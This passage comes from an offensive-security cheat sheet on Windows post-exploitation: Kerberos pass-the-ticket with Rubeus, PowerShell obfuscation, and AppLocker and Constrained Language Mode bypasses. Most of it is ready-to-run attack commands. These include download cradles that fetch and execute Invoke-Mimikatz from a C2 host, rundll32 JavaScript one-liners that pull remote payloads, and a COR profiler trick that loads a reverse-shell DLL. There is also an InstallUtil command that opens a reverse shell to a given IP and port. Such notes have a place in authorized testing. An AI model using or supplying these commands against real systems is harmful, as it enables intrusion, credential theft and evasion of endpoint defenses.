Reubus will now give you a Kerberos ticket in base64 which you can pass with

Rubeus.exe ptt /ticket:[base64blobhere]

We can now request TGS service tickets to access network resources as this user
```

Obfuscation / Evasion Techniques

Invoke-Obfusaction

```
#https://github.com/danielbohannon/Invoke-Obfuscation

Can obfusacte Scripts & Commands

Obfusacte script from remote url

SET SCRIPTPATH https://thisdosentexist.m0chan.com/Invoke-Mimikatz.ps1

Can also set Sscript block base64 PS

SET SCRIPTBLOCK powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAWQBvAHUAIABjAGEAbgAgAHUAcwBlACAAYgBhAHMAaQBjACAA
LQBlAG4A==
```

Invoke-CradleCraft

```
#https://github.com/danielbohannon/Invoke-CradleCrafter

Similar to Invoke-Obfusaction but allows you to obfusacte cradles for downloading i/e

IEX (New-Object Net.WebClient).DownloadString('http://c2server.com/Invoke-Mimikatz.ps1')
```

Invoke-DOSfuscation

```
#https://github.com/danielbohannon/Invoke-DOSfuscation
```

Unicorn

https://github.com/trustedsec/unicorn

```
unicorn.py Nishang.ps1
```

AppLocker / Constrained Mode Bypasses

Verify If You Are in Constrained Mode

```
$ExecutionContext.SessionState.LanguageMode
```

PowershellVeryLess Bypass

```
git clone https://github.com/decoder-it/powershellveryless.git


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\S
ystem.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll
/out:C:\Users\m0chan\Scripts\powershellveryless.exe



C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Sy
stem.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:c:\setup\powersh
ellveryless.exe c:\scripts\powershellveryless.cs


Execute -> powershellveryless.exe script.ps1

script.ps1 = Script of your Choice
```

World Writable Folders (By Default on Windows 10 1803)

```
#https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

Downgrade Attack

```
Downgrading to PS Version 2 circumvates Constrained Mode

powershell.exe -version 2

Verifiy versions with $PSVersionTable
Get-Host
```

AppLocker COR Profile Bypass

```
set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=C:\Users\m0chan\pwn\reverseshell.dll
tzsync
powershell

Where .DLL is your payload i/e reverse shell, beacon etc.
```

MSBuild Powershell/CMD Bypass

```
You can use this if cmd is not disabled but powershell is

https://github.com/Cn33liz/MSBuildShell/blob/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe pshell.csproj

Also https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c

MSBuild PSAttack :D :D
```

PSAttack

```
#https://github.com/jaredhaight/PSAttack

Use if Powershell.exe is not available. this does not rely on powershell.exe, but Instead directly calls powersh
ell through .NET Framework circumvating most application whitelisting etc.

Has numerous modules prebuilt in and is built in C Sharp / .NET so can be reflectively loaded :)
```

NoPowerShell

```
#https://github.com/bitsadmin/nopowershell

Primiarily to be used with Cobalt & Execute Assembly but can also be reflectively loaded from any other C2 infra
.
```

runDLL32 Bypass

```
#Reference: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

rundll32.exe is a .exe found on all Windows based systems located at C:\Windows\system32\rundll32.exe

rundll32 shell32.dll,Control_RunDLL payload.dll

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication <HTML Code>

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").R
un("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.ru
n(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell")
.run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run
("cmd /c taskkill /f /im rundll32.exe",0,true);}

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubus
ercontent.com/3gstudent/Javascript-Backdoor/master/test")
```

PSByPassCLM

```
#Reference: https://github.com/padovah4ck/PSByPassCLM

This technique might come in handy wherever or whenever you're stuck in a low privilege PS console
and PowerShell Version 2 engine is not available to perform a PowerShell Downgrade Attacks.

Build Binary :

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Ma
nagement.Automation.dll


Usage

Open Subshell in Current Console
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Open a PS Reverse Shell with Bypass Integrated

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rho
st=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```